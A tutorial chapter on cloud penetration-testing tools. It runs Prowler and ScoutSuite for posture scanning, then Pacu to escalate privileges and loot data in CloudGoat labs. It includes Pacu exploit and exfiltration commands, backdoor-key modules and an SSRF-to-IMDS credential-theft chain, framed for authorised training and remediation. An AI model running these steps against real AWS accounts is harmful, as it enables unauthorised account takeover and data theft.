Cloud Pentest Tooling: Pacu, ScoutSuite & Prowler

This is Chapter 3 of the Cloud Security notebook. Chapter 2 took you hands-on with the raw AWS CLI — enumerating IAM, looting S3, stealing IMDS credentials, and walking privilege-escalation paths one aws command at a time. Doing it by hand is how you understand the attack surface, but no real engagement is run that way: an account can have hundreds of roles, thousands of resources, and dozens of privilege-escalation primitives, and you have a fixed number of days. This chapter is about the tools that turn that manual knowledge into repeatable, auditable, at-scale work — Pacu for offense, ScoutSuite and Prowler for posture and breadth.

The three tools answer three different questions. Prowler asks “where does this account violate a known-good benchmark?” — it is a compliance and misconfiguration scanner. ScoutSuite asks “what does the whole account look like, and where are the risky spots?” — it is a multi-cloud auditor that renders an offline dashboard. Pacu asks “given this credential, how far can I actually get?” — it is an exploitation framework that enumerates, escalates, moves laterally, and persists. A mature assessment uses all three: the scanners give you breadth and a prioritised list of weaknesses in an hour; Pacu gives you the depth and the proof-of-exploit that turns a “finding” into a demonstrated impact.

Everything in this chapter is for accounts you own or are explicitly authorised to assess, inside the provider’s penetration-testing policy (Chapter 1, Part 12) and the customer’s written rules of engagement. Every technique below is safest to practise in a throwaway account or a purpose-built vulnerable lab — CloudGoat, flAWS/flaws2, AWSGoat, CloudFoxable — all of which are used as targets throughout. Running any of these tools against infrastructure you do not own is unauthorised access and, in most jurisdictions, a crime.

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Part 1: Where These Tools Sit — Breadth vs Depth

Before installing anything, get the mental model straight, because it decides when you reach for each tool during an engagement.

Cloud assessment work splits into two motions. Posture assessment is breadth-first: you point a tool at an account with read-only or security-audit permissions and it inventories everything and flags what is misconfigured against a standard. This is what Prowler and ScoutSuite do. It is fast, low-risk, mostly read-only, and it is what a “cloud security review” or a CIS-benchmark audit is built on. Exploitation is depth-first: you start from a credential — often a low-privilege one — and you chain misconfigurations into real impact (privesc to admin, cross-account movement, data exfiltration, persistence). This is what Pacu does, and it is closer to a classic penetration test.

flowchart LR
    A[Authorised access:<br/>read-only or a<br/>low-priv key] --> B{Two motions}
    B -->|Breadth / posture| C[Prowler<br/>CIS + compliance checks]
    B -->|Breadth / posture| D[ScoutSuite<br/>multi-cloud dashboard]
    B -->|Depth / exploit| E[Pacu<br/>enum -> privesc -><br/>lateral -> persist -> exfil]
    C --> F[Prioritised findings]
    D --> F
    F --> E
    E --> G[Proof-of-exploit<br/>+ impact narrative]
    G --> H[Report: finding +<br/>evidence + remediation]

The order matters. On a typical assessment you run the scanners first — Prowler and ScoutSuite — because in under an hour they hand you a ranked map of the weak points: public buckets, over-permissive roles, disabled logging, unencrypted volumes, exposed security groups. Then you take the most promising of those findings into Pacu (or the raw CLI) to prove exploitability. A finding that says “role X has iam:PassRole and ec2:RunInstances” is a maybe; a Pacu run that actually assumes an admin role through that path and reads a secret is a demonstrated breach. Clients and reports live and die on that difference.

Comparison at a glance:

Tool	Primary question	Clouds	Access needed	Read/Write	Output
Prowler	Compliance & misconfig vs benchmarks	AWS, Azure, GCP, Kubernetes	SecurityAudit / read-only	Read-only	CSV/JSON/HTML, compliance-framework reports
ScoutSuite	Whole-account posture & risky spots	AWS, Azure, GCP, Aliyun, OCI	SecurityAudit / read-only	Read-only	Offline HTML dashboard + raw JSON
Pacu	How far can this credential get	AWS (primary)	Whatever the credential has	Read and write	Session DB, per-module loot, logs

Keep one distinction burned in: Prowler and ScoutSuite are read-only — they call Describe*, List*, Get* APIs and never change the account. Pacu writes — its exploitation modules create roles, launch instances, modify policies, and create access keys. That single fact changes the authorisation you need, the noise you make, and the blast radius if something goes wrong. Never run Pacu’s write modules against production without explicit, scoped, written approval and a rollback plan.

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Part 2: The Lab Environment — Get a Safe Target First

You do not learn these tools by reading; you learn them by running them against something that is supposed to be broken. Set up at least one vulnerable-by-design target before touching a real account.

CloudGoat (Rhino Security Labs) is the standard AWS practice range. It is a Terraform-driven tool that deploys deliberately vulnerable “scenarios” into an AWS account you own, gives you a starting credential, and expects you to reach a goal (usually admin or a secret). Install it into a dedicated, empty AWS account — never your main one, because it creates intentionally insecure resources.

# Prereqs: an AWS account you own, awscli configured with admin on it,
# terraform >= 1.0, python3, git. Use a THROWAWAY account.
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r requirements.txt          # installs the cloudgoat deps
./cloudgoat.py config profile             # point it at your AWS CLI profile
./cloudgoat.py config whitelist --auto    # whitelists your public IP for SGs

# Deploy a scenario (this one is a classic IAM privesc chain):
./cloudgoat.py create iam_privesc_by_rollback

Typical output ends with a starting credential you will feed to the tools:

[cloudgoat] terraform apply completed with no error code.
[cloudgoat] terraform output:
cloudgoat_output_policy_manager_access_key_id = AKIAQ...EXAMPLE
cloudgoat_output_policy_manager_secret_key    = wJalr...EXAMPLEKEY
[cloudgoat] Scenario files stored in ./iam_privesc_by_rollback_XXXX/

When you are finished, always destroy it so you are not billed and not leaving insecure infra lying around:

./cloudgoat.py destroy iam_privesc_by_rollback
# or nuke everything CloudGoat created:
./cloudgoat.py destroy all

Other good targets: flaws.cloud and flaws2.cloud (Scott Piper’s hosted challenges — no deploy needed, browser + CLI), AWSGoat (OWASP-style web-app-plus-cloud), and CloudFoxable (built to practise the CloudFox recon tool but useful generally). For a first pass through this chapter, cloudgoat create iam_privesc_by_rollback plus cloudgoat create ec2_ssrf gives you enough surface to exercise all three tools.

Ethics / lawful-use, restated because it matters: these are your accounts. The credential CloudGoat prints is scoped to resources CloudGoat created in an account you control. The moment you point any of this tooling at an account you were not authorised to test, you are committing unauthorised access. Keep your CloudGoat account isolated (separate billing, no cross-account trust into anything real) so a mistake there cannot touch anything you care about.

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Part 3: Prowler From Scratch — The Compliance Scanner

We start with Prowler because it is the fastest way to get value and it is read-only, so it is the safest thing to run first.

What Prowler is and why it exists

Prowler is an open-source, command-line security tool that audits a cloud account against hundreds of individual checks and maps the results to well-known compliance frameworks — CIS Benchmarks, PCI-DSS, HIPAA, NIST 800-53, GDPR, FedRAMP, SOC 2, AWS’s own Foundational Security Best Practices, and more. It began life as a Bash script focused on the CIS AWS Foundations Benchmark and is now a Python project (Prowler 3/4/5) covering AWS, Azure, GCP, and Kubernetes with 500+ AWS checks alone. Its job is to answer, in one run, “which of these known-good rules does this account break, and how bad is each one?”

Think of Prowler as the tool that produces the evidence table in a cloud audit report. Each check has a stable ID, a severity, a service, a remediation, and a pass/fail per resource — exactly what an auditor or a remediation ticket needs.

Install

Prowler is a Python package. Use a virtualenv so it does not collide with system packages.

# Recommended: isolated env (v4/v5 are the current major lines)
python3 -m venv ~/prowler-venv
source ~/prowler-venv/bin/activate
pip install prowler            # installs the `prowler` CLI

prowler --version
# Prowler 4.x.x   (or 5.x.x)

# Alternatives:
#   pipx install prowler         # keeps it isolated globally
#   docker run toniblyx/prowler:latest   # containerised, no local python

Prowler uses the same credential chain as the AWS CLI — environment variables, ~/.aws/credentials profiles, or an assumed role. Give it read access; the AWS-managed SecurityAudit policy plus a small amount of extra read (ViewOnlyAccess) covers almost every check.

export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=wJalr...
export AWS_SESSION_TOKEN=...           # if using temporary/STS creds
# or:
prowler aws --profile my-audit-profile

The core workflow

The simplest possible run scans the whole account with every AWS check:

prowler aws

Prowler streams coloured PASS/FAIL lines as it goes and writes report files at the end. Trimmed sample output:

Using the AWS credentials below:
 · AWS-CLI Profile: default
 · AWS Account: 111122223333
 · User: arn:aws:iam::111122223333:user/audit

-> Scanning 300+ checks across 60+ services ...

FAIL  iam_root_hardware_mfa_enabled            [CRITICAL]  Root account has no hardware MFA
FAIL  s3_bucket_public_access                  [HIGH]      Bucket 'company-backups' is public
PASS  ec2_ebs_default_encryption               [MEDIUM]    EBS default encryption is enabled
FAIL  cloudtrail_multi_region_enabled          [HIGH]      No multi-region trail configured
FAIL  guardduty_is_enabled                     [HIGH]      GuardDuty not enabled in us-east-1
...

Overview Results:
  Critical: 3   High: 21   Medium: 44   Low: 12   Pass: 190

Detailed results are in:
 - output/prowler-output-111122223333-20270409.csv
 - output/prowler-output-111122223333-20270409.json
 - output/prowler-output-111122223333-20270409.html

The HTML report is the one you open in a browser and hand to a client — it groups findings by severity and service and is fully offline. The CSV/JSON are what you pipe into a tracker or diff between runs.

Filtering — the flags you will actually use

A full scan is noisy. In practice you narrow it. These are the flags that carry the weight:

Flag	Purpose	Example
--services	Only scan specific services	prowler aws --services s3 iam ec2
--checks	Run named checks only	prowler aws --checks s3_bucket_public_access
--check-id / --excluded-checks	Include/exclude by ID	--excluded-checks ec2_elastic_ip_unassigned
--severity	Filter by severity	prowler aws --severity critical high
--compliance	Report against one framework	prowler aws --compliance cis_2.0_aws
--region	Limit regions (faster, cheaper)	prowler aws --region us-east-1 eu-west-1
--output-formats	Choose report types	--output-formats csv json html
--output-directory	Where reports land	-o ./client-acme/
-q / --quiet	Only show failing checks	prowler aws -q
--list-checks	Enumerate available checks	prowler aws --list-checks
--list-compliance	Enumerate frameworks	prowler aws --list-compliance

A realistic engagement command looks like this — critical/high only, against the CIS 2.0 benchmark, EU + us-east-1, reports into a client folder:

prowler aws \
  --profile acme-audit \
  --compliance cis_2.0_aws \
  --severity critical high \
  --region us-east-1 eu-west-1 eu-central-1 \
  --output-formats csv json html \
  --output-directory ./acme-2027-04/ \
  -q

Compliance framework reporting

The --compliance flag is Prowler’s headline feature. Instead of a flat list of failures it produces a report structured by the framework’s control numbering, so you can say “control 1.14 (hardware MFA on root) — FAIL” in the exact language an auditor expects.

# What frameworks are available?
prowler aws --list-compliance
# cis_1.4_aws, cis_2.0_aws, cis_3.0_aws, pci_3.2.1_aws, hipaa_aws,
# nist_800_53_revision_4_aws, gdpr_aws, soc2_aws, aws_foundational_security_best_practices, ...

# Produce a CIS 3.0 report:
prowler aws --compliance cis_3.0_aws -o ./acme-cis/

Prowler writes a dedicated compliance CSV alongside the normal report, one row per control with the mapped check results — this is what goes straight into a gap-analysis spreadsheet.

Assessor tip: run Prowler with --compliance cis_2.0_aws on day one for the ranked-by-control view, and also a plain -q run for the raw failing checks the client’s engineers will actually fix. The two views serve two audiences: control owners and remediation engineers.

Prowler for Azure and GCP

Prowler is multi-cloud. The provider is the first positional argument:

# Azure — authenticate with the Azure CLI first (az login), then:
prowler azure --az-cli-auth

# or a service principal:
prowler azure --sp-env-auth        # reads AZURE_CLIENT_ID / SECRET / TENANT_ID

# GCP — uses application-default credentials:
gcloud auth application-default login
prowler gcp

# Kubernetes:
prowler kubernetes --kubeconfig-file ~/.kube/config

The check catalogue differs per cloud (Azure checks cover Entra ID, Storage, Defender for Cloud; GCP covers IAM, GCS, Compute, Logging), but the flag grammar — --services, --severity, --compliance, --output-formats — is identical, which is exactly why Prowler is worth learning once.

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Part 4: Reading Prowler Output Like an Assessor

A raw Prowler run against a real account can produce hundreds of findings. The skill is triage, not generation.

Severity first, but context always. A CRITICAL “root has no MFA” is a real finding. A HIGH “S3 bucket public” needs a second look — is it meant to be public (a static website, a public dataset)? Prowler cannot know intent, so a chunk of triage is separating true misconfigurations from intentional design. Note the false positives explicitly in the report; an audit that flags a deliberately public CDN bucket as a breach loses credibility.

Group by root cause, not by finding. Twenty “security group allows 0.0.0.0/0 on port 22” findings across twenty instances are one problem — a missing guardrail — not twenty. Collapse them in the report and give one remediation (an SCP or Config rule that blocks open SSH), or the client drowns.

Chain findings into a story. Prowler is read-only and reports each finding in isolation, but as an attacker you read them together: “CloudTrail is off (HIGH) and GuardDuty is off (HIGH) and a role has iam:* (CRITICAL)” is not three findings — it is a blind, unmonitored path to account takeover. This is the bridge into Pacu: the scanner tells you the door is unlocked; Pacu walks through it.

flowchart TD
    P[Prowler run] --> Q[Hundreds of raw findings]
    Q --> R{Triage}
    R -->|Intentional| S[Mark as accepted risk /<br/>false positive]
    R -->|Real misconfig| T[Group by root cause]
    T --> U[Rank by exploitability,<br/>not just severity]
    U --> V[Feed exploitable ones<br/>into Pacu for proof]
    V --> W[Report: finding + evidence +<br/>root-cause remediation]

A useful command to turn JSON into a quick triage table is jq:

# Top failing checks by count, from the JSON output:
jq -r '.[] | select(.status=="FAIL") | .check_id' \
   output/prowler-output-*.json | sort | uniq -c | sort -rn | head -20

  34 ec2_securitygroup_allow_ingress_from_internet_to_any_port
  21 s3_bucket_level_public_access_block
  18 iam_user_no_setup_initial_access_key
  12 rds_instance_no_public_access
   9 cloudwatch_log_metric_filter_root_usage
   ...

That histogram is your remediation roadmap in one glance — the biggest number is usually the missing guardrail worth fixing first.

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Part 5: ScoutSuite From Scratch — The Multi-Cloud Auditor

Where Prowler produces a list of checks, ScoutSuite produces a map of the account. It is the second scanner in the kit and it complements Prowler rather than duplicating it.

What ScoutSuite is

ScoutSuite (NCC Group) is an open-source, multi-cloud security-auditing tool. It uses the provider’s read-only APIs to pull the entire configuration of an account, runs a rule set over that configuration, and renders a static, offline HTML dashboard you browse locally. It covers AWS, Azure, GCP, Alibaba Cloud, and Oracle Cloud. Its strength is the visual, navigable inventory: you click through services, see every resource, and the risky ones are colour-coded (red/orange/yellow). It answers “what is in this account and where are the sharp edges” in a way a flat CSV cannot.

The key difference from Prowler: Prowler is check-centric and compliance-mapped (great for audits and tickets); ScoutSuite is resource-centric and exploratory (great for understanding an unfamiliar account and spotting the odd thing). Most assessors run both.

Install

python3 -m venv ~/scout-venv
source ~/scout-venv/bin/activate
pip install scoutsuite

scout --help
# usage: scout [-h] {aws,azure,gcp,aliyun,oci} ...

Like Prowler, it uses the standard AWS credential chain and needs read-only access (SecurityAudit + ReadOnlyAccess is the safe combination).

The core workflow

# Scan an AWS account using a named profile:
scout aws --profile acme-audit

# Restrict to regions to go faster / cheaper:
scout aws --profile acme-audit --regions us-east-1,eu-west-1

# Ruleset & report land in ./scoutsuite-report/

Sample run:

2027-04-09 ... scout[INFO] Launching Scout
2027-04-09 ... scout[INFO] Authenticating to AWS
2027-04-09 ... scout[INFO] Gathering data from APIs
2027-04-09 ... scout[INFO]   - IAM: fetching users, roles, policies... 142 items
2027-04-09 ... scout[INFO]   - S3:  fetching buckets... 37 buckets
2027-04-09 ... scout[INFO]   - EC2: fetching instances, SGs, volumes... 88 items
2027-04-09 ... scout[INFO] Running rule engine (Ruleset: default)
2027-04-09 ... scout[INFO] Rules matched: 61
2027-04-09 ... scout[INFO] Report saved to scoutsuite-report/scoutsuite-results/
2027-04-09 ... scout[INFO] Opening report: scoutsuite-report/aws-acme.html

It opens the dashboard in your browser automatically. The landing page is a service grid with a red/orange/green summary per service; clicking a service (say IAM) drills into every resource and highlights the flagged ones with the rule that matched and why. Because the report is fully static HTML+JS, you can zip scoutsuite-report/ and hand it to a client to browse offline — no ScoutSuite install needed on their side.

Useful flags

Flag	Purpose
--profile NAME	AWS CLI profile to use
--regions r1,r2	Limit regions scanned
--services s3 iam	Only these services
--exceptions FILE	Suppress known/accepted findings
--ruleset FILE	Use a custom rule set
--report-dir DIR	Output location
--no-browser	Don’t auto-open (for CI)
--max-workers N	Parallelism for API calls

The rule-set engine

ScoutSuite’s findings come from a rule set — a JSON file mapping a finding name to a condition over the gathered configuration. The default ruleset ships with the tool; you can copy and edit it to tune out noise or add organisation-specific rules.

# Dump the default ruleset to customise it:
scout aws --ruleset default --profile acme-audit
# then copy ~/.../ScoutSuite/providers/aws/rules/rulesets/default.json,
# edit thresholds (e.g. flag SGs open to 0.0.0.0/0 on ANY port, not just 22),
# and re-run with --ruleset ./my-ruleset.json

A rule entry looks roughly like this (illustrative):

"iam-user-with-inline-policies.json": {
  "enabled": true,
  "level": "warning"
}

The level (danger/warning) controls the colour and severity in the dashboard. Tuning the ruleset is how you make ScoutSuite speak your client’s risk appetite instead of the defaults.

Cross-tool note: ScoutSuite and Prowler will overlap on obvious findings (public buckets, open SGs). That is fine — agreement between two independent tools strengthens a finding in a report. Where they diverge is instructive: ScoutSuite’s inventory view often surfaces the weird resource (a lone instance in an unused region, a role with a strange trust policy) that a check-list scanner buries.

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Part 6: Pacu From Scratch — The AWS Exploitation Framework

Now the offense tool. Pacu is the one that writes to the account, so everything about it — authorisation, opsec, blast radius — is more serious than the scanners.

What Pacu is

Pacu (Rhino Security Labs) is an open-source AWS exploitation framework — think Metasploit, but for AWS. It is organised around sessions (a saved workspace with its own credentials and captured data) and modules (individual attack/enumeration actions). You import a credential, enumerate what it can do, run privilege-escalation and lateral-movement modules, and Pacu stores every piece of loot (users, roles, secrets, instances) in a local SQLite database tied to the session so later modules can reuse it. It automates the exact CLI loops from Chapter 2, at scale, with the results kept organised.

Install

python3 -m venv ~/pacu-venv
source ~/pacu-venv/bin/activate
pip install pacu

pacu          # first launch creates ~/.local/share/pacu/ and a session DB

 ____
|  _ \ __ _  ___ _   _
| |_) / _` |/ __| | | |
|  __/ (_| | (__| |_| |
|_|   \__,_|\___|\__,_|

Pacu (x.y.z) — the AWS exploitation framework

No sessions found. Enter a session name to create one:
> acme-engagement
Session 'acme-engagement' created.
Pacu (acme-engagement:No Keys Set) >

The prompt tells you the session name and the credential state — here No Keys Set.

Sessions and importing credentials

A session isolates one engagement: its own creds, its own captured data, its own logs. Import a credential two ways — paste it in with set_keys, or pull it from your AWS CLI config with import_keys:

Pacu (acme-engagement:No Keys Set) > set_keys
Key alias [None]: policy_manager
Access key ID: AKIAQ...EXAMPLE
Secret access key: wJalr...EXAMPLEKEY
Session token (Optional):
Keys saved to database.

# or import an existing awscli profile:
Pacu (acme-engagement:No Keys Set) > import_keys cloudgoat-profile
Imported keys as "imported-cloudgoat-profile"
Pacu (acme-engagement:policy_manager) >

The whoami / enumerate loop

The first thing you do with any credential is find out who you are and what you can do. Pacu’s whoami prints the current identity and everything captured so far; iam__enum_permissions brute-forces the credential’s actual permissions.

Pacu (acme-engagement:policy_manager) > whoami
{
  "UserName": "policy_manager",
  "Arn": "arn:aws:iam::111122223333:user/policy_manager",
  "AccountId": "111122223333",
  "Permissions": { "Allow": {}, "Deny": {} }
}

Pacu (acme-engagement:policy_manager) > run iam__enum_permissions
[iam__enum_permissions] Starting...
[iam__enum_permissions] Confirmed permissions for user: policy_manager
[iam__enum_permissions]   iam:ListPolicies, iam:GetPolicy,
    iam:GetPolicyVersion, iam:SetDefaultPolicyVersion, iam:ListPolicyVersions ...
[iam__enum_permissions] Enumeration complete. Data stored in session.

Now whoami shows the discovered permissions, and — crucially — later modules can read them from the session instead of re-querying AWS.

The offensive module catalogue

Pacu ships with dozens of modules grouped by category. ls lists them; search finds one; help <module> explains it.

Pacu (acme-engagement:policy_manager) > ls
[Category: RECON_UNAUTH]
  iam__enum_roles, iam__enum_users ...
[Category: ENUM]
  iam__enum_permissions, iam__enum_users_roles_policies_groups,
  ec2__enum, s3__bucket_finder, rds__enum, lambda__enum ...
[Category: PRIVESC]
  iam__privesc_scan ...
[Category: LATERAL_MOVE]
  iam__backdoor_users_keys, sts__assume_role ...
[Category: PERSISTENCE]
  iam__backdoor_users_keys, lambda__backdoor_new_users ...
[Category: EXFIL]
  s3__download_bucket ...
[Category: EXPLOIT]
  ec2__startup_shell_script, systemsmanager__rce_ec2 ...
[Category: EVADE]
  detection__disruption, cloudtrail__download_event_history ...

The modules you will reach for most:

Module	Category	What it does
iam__enum_permissions	ENUM	Brute-forces the current credential’s permissions
iam__enum_users_roles_policies_groups	ENUM	Full IAM inventory of the account
iam__privesc_scan	PRIVESC	Finds and can auto-exploit privilege-escalation paths
ec2__enum	ENUM	Enumerates EC2 instances, SGs, volumes, AMIs
ec2__download_userdata	ENUM/EXFIL	Pulls EC2 user-data (often holds secrets)
s3__bucket_finder / s3__download_bucket	ENUM/EXFIL	Finds and exfiltrates bucket contents
sts__assume_role	LATERAL	Assumes a role you have rights to
iam__backdoor_users_keys	PERSIST	Creates a second access key on a user (backdoor)
secrets__enum	ENUM/EXFIL	Loots Secrets Manager and SSM Parameter Store
detection__enum_services	RECON	Finds CloudTrail/GuardDuty/Config state (are you watched?)
cloudtrail__download_event_history	RECON/EVADE	Reads CloudTrail to understand logging

iam__privesc_scan — the star module

iam__privesc_scan is Pacu’s flagship. It takes the permissions captured by iam__enum_permissions, checks them against ~20 known AWS privilege-escalation methods (the Rhino Security Labs research catalogue — CreateNewPolicyVersion, AttachUserPolicy, PassRole+RunInstances, PassExistingRoleToNewLambda, PutUserPolicy, UpdateRollback, etc.), and tells you which paths are available. With --exploit it will actually perform the escalation.

Pacu (acme-engagement:policy_manager) > run iam__privesc_scan
[iam__privesc_scan] Escalation methods available to this user:
[iam__privesc_scan]   CONFIRMED: SetExistingDefaultPolicyVersion
[iam__privesc_scan]   POTENTIAL: CreateNewPolicyVersion
[iam__privesc_scan] The user can roll back a managed policy to a
    previous, more-permissive version (iam:SetDefaultPolicyVersion).
[iam__privesc_scan] Run again with --exploit to attempt escalation.

Pacu (acme-engagement:policy_manager) > run iam__privesc_scan --exploit
[iam__privesc_scan] Attempting SetExistingDefaultPolicyVersion...
[iam__privesc_scan]   Policy: arn:aws:iam::111122223333:policy/policy_manager_policy
[iam__privesc_scan]   Found 3 versions; v1 grants iam:* and s3:*
[iam__privesc_scan]   Setting default version -> v1
[iam__privesc_scan]   SUCCESS — user now has expanded permissions.
[iam__privesc_scan] Re-run iam__enum_permissions to confirm new access.

That is the iam_privesc_by_rollback CloudGoat scenario solved by one module: an old policy version granted iam:*, and iam:SetDefaultPolicyVersion let the low-priv user roll the policy back to it. Re-running iam__enum_permissions now shows admin.

The privilege-escalation methods iam__privesc_scan knows

It helps to know what the module checks for, because in a real account you often can’t run --exploit blindly and need to reason about each path. These are the core AWS IAM privesc primitives (from the Rhino Security Labs catalogue) the module tests, each keyed on the permission(s) it needs:

Method	Key permission(s)	How the escalation works
CreateNewPolicyVersion	iam:CreatePolicyVersion	Create a new default version of an attached policy granting *:*
SetExistingDefaultPolicyVersion	iam:SetDefaultPolicyVersion	Roll a policy back to an older, more-permissive version
AttachUserPolicy	iam:AttachUserPolicy	Attach AdministratorAccess directly to yourself
AttachGroupPolicy	iam:AttachGroupPolicy	Attach admin to a group you belong to
PutUserPolicy	iam:PutUserPolicy	Inline an admin policy onto your own user
AddUserToGroup	iam:AddUserToGroup	Join a group that already has admin
CreateAccessKey	iam:CreateAccessKey	Mint keys for a more-privileged user
CreateLoginProfile	iam:CreateLoginProfile	Set a console password on a privileged user
UpdateLoginProfile	iam:UpdateLoginProfile	Reset a privileged user’s console password
PassRole+RunInstances	iam:PassRole,ec2:RunInstances	Launch an EC2 with an admin instance-profile, then reach IMDS
PassExistingRoleToNewLambda	iam:PassRole,lambda:CreateFunction,lambda:InvokeFunction	Run code as an admin role via Lambda
PassRoleToNewGlue/CloudFormation/DataPipeline	iam:PassRole + service create	Same idea via Glue, CloudFormation, or Data Pipeline
EditExistingLambdaFunctionWithRole	lambda:UpdateFunctionCode	Overwrite a function that already runs as an admin role

The module maps your confirmed permissions onto this table and prints CONFIRMED (all required perms present) or POTENTIAL (some present, worth manual checking). Understanding the table means you can pursue a path manually when --exploit is disallowed by RoE, or when a subtle condition key blocks the automated attempt.

Non-interactive / automation mode

Pacu can run modules headlessly for scripting and CI-style repeatability, which matters when you want a reproducible evidence trail rather than an interactive session:

# Run a single module against a named session without the interactive prompt:
pacu --session cg-rollback --module-name iam__enum_permissions --exec

# Chain several modules from a one-liner:
pacu --session cg-rollback \
     --module-name iam__enum_permissions --exec \
     && pacu --session cg-rollback --module-name iam__privesc_scan --exec

Everything a module captures is queryable later with the data command inside the session (data IAM, data EC2, data S3), and the whole session — including the loot — lives in a SQLite DB under ~/.local/share/pacu/, so you can hand a colleague the DB file and they resume exactly where you stopped.

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Part 7: Worked Lab — Chaining All Three Against CloudGoat

Now the payoff: a single end-to-end walk-through that uses Prowler and ScoutSuite for breadth, then Pacu for the kill. Target is the iam_privesc_by_rollback scenario deployed in Part 2; the starting credential is the low-priv policy_manager key CloudGoat printed.

Step 0 — configure the starting credential

aws configure --profile cg-lowpriv
# AWS Access Key ID: AKIAQ...EXAMPLE
# AWS Secret Access Key: wJalr...EXAMPLEKEY
# region: us-east-1 ; output: json

# Sanity check — who are we?
aws --profile cg-lowpriv sts get-caller-identity

{
  "UserId": "AIDAQ...EXAMPLE",
  "Account": "111122223333",
  "Arn": "arn:aws:iam::111122223333:user/policy_manager"
}

Step 1 — Prowler for the lay of the land (read-only)

prowler aws --profile cg-lowpriv --services iam s3 --severity critical high -q

FAIL  iam_policy_allows_privilege_escalation   [HIGH]   policy_manager_policy has an
        older version granting iam:* / s3:* that can be restored
FAIL  iam_customer_managed_policy_no_full_admin [HIGH]  Managed policy allows iam:*
PASS  s3_bucket_public_access                          No public buckets

Prowler, even from a low-priv credential, already whispers the answer: an over-permissive policy version exists and is restorable. That is the finding we will prove.

Step 2 — ScoutSuite for the inventory picture

scout aws --profile cg-lowpriv --services iam --no-browser --report-dir ./cg-scout/

ScoutSuite’s IAM view shows policy_manager with a customer-managed policy carrying multiple versions — the visual cue that a rollback path exists. It corroborates Prowler. (In a real engagement this cross-confirmation is gold; here it teaches you to read the same weakness two ways.)

sequenceDiagram
    participant A as Assessor
    participant PR as Prowler (RO)
    participant SC as ScoutSuite (RO)
    participant PA as Pacu (RW)
    participant AWS as AWS APIs
    A->>PR: prowler aws --services iam
    PR->>AWS: List/Get IAM (read-only)
    AWS-->>PR: policy has old privileged version
    A->>SC: scout aws --services iam
    SC->>AWS: List/Get IAM (read-only)
    AWS-->>SC: multi-version policy inventory
    A->>PA: run iam__privesc_scan --exploit
    PA->>AWS: SetDefaultPolicyVersion (WRITE)
    AWS-->>PA: default version rolled back -> admin
    PA-->>A: proof-of-exploit: now iam:* / s3:*

Step 3 — Pacu for the exploit (read AND write)

$ pacu
> new session: cg-rollback
Pacu (cg-rollback:No Keys Set) > import_keys cg-lowpriv
Imported keys as "imported-cg-lowpriv"

Pacu (cg-rollback:policy_manager) > run iam__enum_permissions
[+] Confirmed: iam:GetPolicy, iam:GetPolicyVersion, iam:ListPolicyVersions,
    iam:SetDefaultPolicyVersion, ...

Pacu (cg-rollback:policy_manager) > run iam__privesc_scan
[+] CONFIRMED: SetExistingDefaultPolicyVersion

Pacu (cg-rollback:policy_manager) > run iam__privesc_scan --exploit
[+] Rolling policy_manager_policy back to v1 (grants iam:*, s3:*)
[+] SUCCESS — escalated.

Pacu (cg-rollback:policy_manager) > run iam__enum_permissions
[+] Confirmed permissions now include: iam:*, s3:*, sts:*

Step 4 — demonstrate impact and loot

With admin, prove it means something — enumerate and exfil a secret (still inside your own CloudGoat account):

Pacu (cg-rollback:policy_manager) > run iam__enum_users_roles_policies_groups
[+] Enumerated 4 users, 6 roles, full account IAM captured.

Pacu (cg-rollback:policy_manager) > run s3__bucket_finder
[+] Found buckets: cg-secret-bucket-xxxx

Pacu (cg-rollback:policy_manager) > run s3__download_bucket
[+] Downloaded cg-secret-bucket-xxxx/flag.txt -> ./sessions/cg-rollback/downloads/

cat ~/.local/share/pacu/sessions/cg-rollback/downloads/cg-secret-bucket-xxxx/flag.txt
# cloudgoat{privilege-escalation-via-policy-rollback}

Step 5 — tear down

cd cloudgoat && ./cloudgoat.py destroy iam_privesc_by_rollback

That is the whole engagement in miniature: scanners found the weak policy; Pacu proved it was exploitable to admin and to data. The report writes itself — finding (restorable privileged policy version), evidence (the Pacu transcript + the retrieved flag), remediation (delete old policy versions, deny iam:SetDefaultPolicyVersion, add a permission boundary).

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Part 8: A Second Angle — SSRF, IMDS, and Tooling the Data Plane

Not every engagement starts with a key. The ec2_ssrf CloudGoat scenario starts with an SSRF in a web app and asks you to reach data. This shows where the tools fit when the entry is on the data plane, not a leaked credential.

The chain (covered mechanically in Chapter 2) is: SSRF → hit http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> → steal temporary role creds → configure them → enumerate → reach the secret. Here is how tooling accelerates the back half once you hold the stolen STS creds:

# You extracted temporary creds via SSRF against IMDSv1:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Prowler with the stolen role — see what the role can reach:
prowler aws --services s3 lambda secretsmanager -q

# ScoutSuite to inventory what this role can see:
scout aws --services s3 lambda --no-browser

# Pacu to loot secrets the role can read:
pacu
> set_keys   (paste the ASIA... temp creds + session token)
> run secrets__enum
> run s3__download_bucket

flowchart LR
    A[Web app<br/>SSRF] --> B[IMDS 169.254.169.254]
    B --> C[Temporary role creds<br/>ASIA... + token]
    C --> D[Prowler / ScoutSuite:<br/>what can this role reach?]
    C --> E[Pacu: secrets__enum,<br/>s3__download_bucket]
    D --> F[Target: Secrets Manager<br/>+ S3 data]
    E --> F
    F --> G[Exfil -> proof-of-impact]

IMDSv2 note (defensive foreshadow): this whole chain assumes IMDSv1’s simple GET. IMDSv2 requires a PUT to obtain a session token first, which a basic SSRF usually cannot perform — enforcing IMDSv2 (HttpTokens=required) is the single highest-leverage fix and is exactly what Prowler’s ec2_imdsv2_enabled check flags. The tools both find the weakness and, in Pacu’s case, exploit it — the same duality as Part 7.

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Part 9: Fitting the Three Into a Real Engagement

Tools are only useful inside a method. Here is the workflow a cloud pentest actually follows and where each tool plugs in.

stateDiagram-v2
    [*] --> Scoping
    Scoping --> Access: RoE + authorised creds
    Access --> Posture: read-only sweep
    Posture --> Triage: Prowler + ScoutSuite output
    Triage --> Exploit: pick exploitable findings
    Exploit --> PostExploit: Pacu privesc/lateral/loot
    PostExploit --> Evidence: capture proof
    Evidence --> Report
    Report --> Cleanup: destroy artefacts, revoke keys
    Cleanup --> [*]

1. Scoping & authorisation. Written RoE, target accounts, allowed regions, provider pentest policy, a “do not touch” list, and an agreement on whether write actions (Pacu) are in scope. Get the write-scope answer in writing — it is the difference between an audit and a pentest.
